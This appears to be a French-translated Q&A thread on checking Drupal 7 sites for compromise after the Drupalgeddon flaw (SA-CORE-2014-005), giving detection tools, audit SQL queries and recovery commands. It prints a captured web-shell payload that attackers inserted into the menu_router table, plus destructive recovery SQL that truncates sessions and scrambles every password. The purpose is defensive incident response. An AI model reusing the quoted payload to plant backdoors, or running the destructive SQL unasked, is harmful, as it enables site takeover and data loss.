Drupal SA-CORE-2014-005 - Comment savoir si mon serveur / mes sites ont été compromis?
Je viens de mettre à jour tous mes sites en utilisant la méthode des correctifs pour résoudre l'exploit Drupal SA-CORE-2014-005. Je viens de lire des rapports selon lesquels hier, il y a quelqu'un d'une IP russe infiltrant drupal.
https://www.drupal.org/SA-CORE-2014-005
Mes principales préoccupations sont maintenant:
- Comment savoir si mes sites ont été inclus?
- Que dois-je rechercher dans mes journaux d'accès Apache pour détecter si mon site a été victime ou non?
- Jusqu'à présent, que font ces pirates informatiques aux sites composés?
Voici quelques requêtes SQL qui peuvent être exécutées sur les bases de données de votre site pour vérifier les utilisateurs avec des privilèges d'administrateur et lesquels ont accédé au site après le 15 octobre.
Si vous lisez cet article et espérez vérifier un site Drupal 7 plus d'un mois après que l'exploit ait atterri, votre site a probablement déjà été piraté . Votre meilleur pari est de restaurer une sauvegarde d'avant le début des attaques et de travailler à partir de là.
Il y a FAQ sur SA-CORE-2014-005 .
Comment savoir si mes sites ont été compromis?
Une façon de vérifier rapidement si les sites sont compromis est d'utiliser la commande drupalgeddon drush.
Installez sur votre ~/.drush avec drush dl drupalgeddon
Utilisez ensuite drush drupalgeddon-test tester. Les alias Drush rendent cela simple et rapide.
Cet outil peut confirmer un site exploité, mais il ne peut pas garantir que votre site n'a pas été exploité. Il n'y a pas de "bilan de santé propre" ici, sauf si vous avez mis à niveau avant le début des attaques.
Le module d'audit de site comprend certaines des vérifications de Drupalgeddon et vous donne également des informations beaucoup plus utiles. Je le recommande fortement. (EDIT: Maintenant, ils travaillent ensemble - super Nice!)
La revue de sécurité ne vérifie pas les attaques Drupalgeddon mais vaut également la peine d'être dans votre ceinture d'outils.
Si la base de code de votre site était accessible en écriture à l'utilisateur www, vous pouvez également vérifier le code modifié à l'aide du module piraté. Ce module peut ne pas faire ce que vous pensez en se basant uniquement sur son nom :)
Bien qu'il n'y ait pas de moyen unique d'identifier tous les sites compromis, ces outils peuvent vous aider à identifier les indications les plus courantes.
Que dois-je rechercher dans mes journaux d'accès Apache pour détecter si mon site a été victime ou non?
Vos journaux d'accès contiendront beaucoup de POST requêtes à ce jour. À moins que vous n'ayez pris la mesure inhabituelle de consigner toutes les données de publication avant le bogue, il est peu probable que vous ayez les informations à dire lesquels étaient malveillants.
Jusqu'à présent, que font ces pirates informatiques aux sites compromis?
Beaucoup signalent que leurs sites sont corrigés par les pirates! En tant qu'attaquant, cela a du bon sens - vous ne voulez pas que votre site nouvellement piraté soit fouillé par vous par l'attaquant suivant :)
En dehors de cela, je voudrais devinez les sites sont utilisés pour récolter toutes les données précieuses (peut-être récupérer des informations, peut-être soulever les détails des transactions après l'exploitation) et faire des choses ennuyeuses comme envoyer du spam et travailler comme humbles esclaves de botnet. Oh, et étendez encore l'empire de l'attaquant des sites détournés Drupal sites. (Désolé, je n'ai pas de sites piratés à observer.)
Certaines vérifications des attaques courantes sont (ce n'est pas une liste exhaustive, mais certaines des attaques observées dans la nature jusqu'à présent):
- Vérifiez votre compte utilisateur 1 pour vous assurer que son nom d'utilisateur, son adresse e-mail ou son mot de passe correspondent à ce que vous attendez d'eux. Vérifiez également tous les autres comptes d'utilisateurs disposant de niveaux d'autorisation élevés si possible.
- Recherchez les nouveaux comptes d'utilisateurs qui semblent suspects.
- Vérifiez les modifications apportées aux rôles sur votre système, par exemple les nouveaux rôles ou les rôles renommés.
- Vérifiez les modifications d'autorisation. L'aspect le plus important de cela est de s'assurer que le rôle d'utilisateur anonyme (ou d'autres rôles que n'importe qui peut s'inscrire pour obtenir) n'a pas été modifié pour leur donner un accès accru.
- Recherchez de nouveaux blocs personnalisés pouvant contenir du code malveillant.
- Recherchez de nouveaux nœuds personnalisés pouvant contenir du code malveillant.
- Recherchez les fichiers de votre système de fichiers qui ne devraient pas exister. C'est facile si vous utilisez le contrôle de version car vous pouvez faire git status ou svn st pour voir s'il y a de nouveaux fichiers.
- S'ils ont téléchargé des fichiers malveillants, vous pouvez vérifier dans vos journaux d'accès les correspondances à des noms de fichiers étranges que vous ne connaissez pas.
Vérifiez la table de base de données de votre routeur de menu pour les entrées malveillantes. Par exemple (le module drupalgeddon/plugin drush sur drupal.org a un bon script pour vérifier ce tableau plus en détail):
SELECT * FROM menu_router WHERE access_callback = 'file_put_contents';
Vous pouvez également simplement parcourir votre table de routeur de menu pour les entrées étranges.
Certaines choses que les pirates tentent de faire sont:
- Mettez des fichiers de script php sur votre site qu'ils peuvent ensuite exécuter en les frappant dans un navigateur. Ces scripts peuvent faire un large éventail de choses malveillantes. Ceci est réalisé en ajoutant des entrées de routeur de menu malveillantes.
- Créez des comptes d'utilisateurs administrateurs pour qu'ils puissent ensuite utiliser pour faire de mauvaises choses sur votre site ou reprendre votre site.
- Modifiez l'adresse e-mail de l'utilisateur 1 afin qu'il puisse ensuite réinitialiser le mot de passe de ce compte et le reprendre.
- Modifier les autorisations sur les rôles d'utilisateur accessibles au public.
- Ajoutez des blocs/nœuds/etc. qui peut contenir du code malveillant. Si vous avez activé le filtre PHP, c'est encore plus un problème.
Malheureusement, il y a tellement de choses qu'un attaquant pourrait faire à votre base de données qu'il est assez difficile de donner une liste complète des possibilités. Ils pourraient faire des choses qui essaient de leur donner le contrôle de votre site, ou ils pourraient simplement casser votre site mais laisser tomber des tables ou des colonnes de base de données, etc.
Ils pourraient même juste apporter de très petites modifications à la configuration du site, comme changer le nom de votre site ou quelque chose comme ça, ce qui n'est pas la fin du monde mais qui est toujours problématique.
Fondamentalement, tout ce que vous pourriez faire dans votre base de données en exécutant une commande SQL, un attaquant pourrait théoriquement le faire.
Tous les modules mentionnés dans la réponse de Chris Burgess sont très utiles pour vérifier ces choses.
Je pense que j'irais avec le conseil drupal.org " Vous devez procéder en supposant que chaque Drupal 7 a été compromis à moins qu'il ne soit mis à jour ou corrigé avant le 15 octobre, 23 h UTC, que est 7 heures après l'annonce . ". Comme Bevan l'a dit dans ce commentaire " Mise à jour ou correctif Drupal ne résout pas les portes dérobées) que les attaquants ont installé avant de mettre à jour ou de corriger Drupal. "
Bevan a également créé ce qui suit tableau de flux de travail pour vous aider à analyser si vous avez peut-être été infecté et comment récupérer et prévenir . Cependant, il demande à tout le monde d'aller à son article original pour s'assurer que vous avez la dernière version du workflow. En outre, Acquia fait un intéressant article sur les attaques et les schémas qu'ils ont connus dans Acquia Cloud
Citation de: https://www.drupal.org/node/2357241#comment-9258955
Voici un exemple du fichier qui est inséré dans la colonne access_callback de la table menu_router:
a:2:{i:0;s:22:"modules/image/vzoh.php";i:1;s:147:"<?php $form1=@$_COOKIE["Kcqf3"]; if ($form1){ $opt=$form1(@$_COOKIE["Kcqf2"]); $au=$form1(@$_COOKIE["Kcqf1"]); $opt("/292/e",$au,292); } phpinfo();";}
Comme vous pouvez le voir, il essaie de créer le fichier modules/image/vzoh.php mais comme je n'ai que des autorisations de lecture dans ces répertoires, php échoue avec.
Rapports de personnes trouvant des fichiers similaires créés en faisant une recherche dans votre répertoire drupal: https://www.drupal.org/node/2357241#comment-9260017
J'ai fait la commande suivante:
ack --type = php 'php\$ form'> hacked_searched_php_form1.txt
==================
Cité de: http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon
Affichage des fichiers qui ont changé sur le serveur en direct: git status
Recherche de tentatives d'exécution de code via menu_router: sélectionnez * dans menu_router où access_callback = 'file_put_contents'
Affichage des fichiers présents sur le serveur actif et non dans le contrôle de version: diff -r docroot repo | grep docroot | grep 'Only in docroot'
Recherche de fichiers PHP dans le répertoire files: find. -Path "* php"
Vérification de l'intervalle de temps entre la connexion d'un utilisateur à votre site et sa dernière visite sur la page: sélectionnez (s.timestamp - u.login)/60/60/24 AS days_since_login, u.uid à partir des sessions s rejoignez les utilisateurs u sur s.uid = u.uid;
Une très bonne liste de commandes pour savoir si vous avez été comprimé.
http://www.paulbooker.co.uk/drupal-developer/command-lines/5-commands-help-drupalgeddon
Commands that help with auditing:
Showing files that have changed on the live server:
?
1
git status
Looking for code execution attempts via menu_router:
?
1
select * from menu_router where access_callback = 'file_put_contents'
Another possible code execution attempt via menu_router:
?
1
select * from menu_router where access_callback = 'assert';
Showing which files are on the live server and not in version control:
?
1
diff -r docroot repo | grep 'Only in docroot'
Looking for PHP files in the files directory:
?
1
find . -path "*php"
Looking for additional roles and users:
?
1
2
select * from role
select * from users_roles where rid=123
Checking the amount of time between when a user logged into your site and their most recent page visit:
?
1
select (s.timestamp - u.login) / 60 / 60 / 24 AS days_since_login, u.uid from sessions s inner join users u on s.uid = u.uid;
Commands that can help with recovery:
Apply the patch. Hotfix: (SA-CORE-2014-005)
?
1
curl https://www.drupal.org/files/issues/SA-CORE-2014-005-D7.patch | patch -p1
End active sessions, i.e log everyone out.
?
1
truncate table sessions;
Updating passwords:
?
1
update users set pass = concat('XYZ', sha(concat(pass, md5(Rand()))));
Vous pouvez vérifier si votre site Web a été piraté avec cet outil en ligne:
Évidemment, il a ses limites, mais c'est un bon point de départ.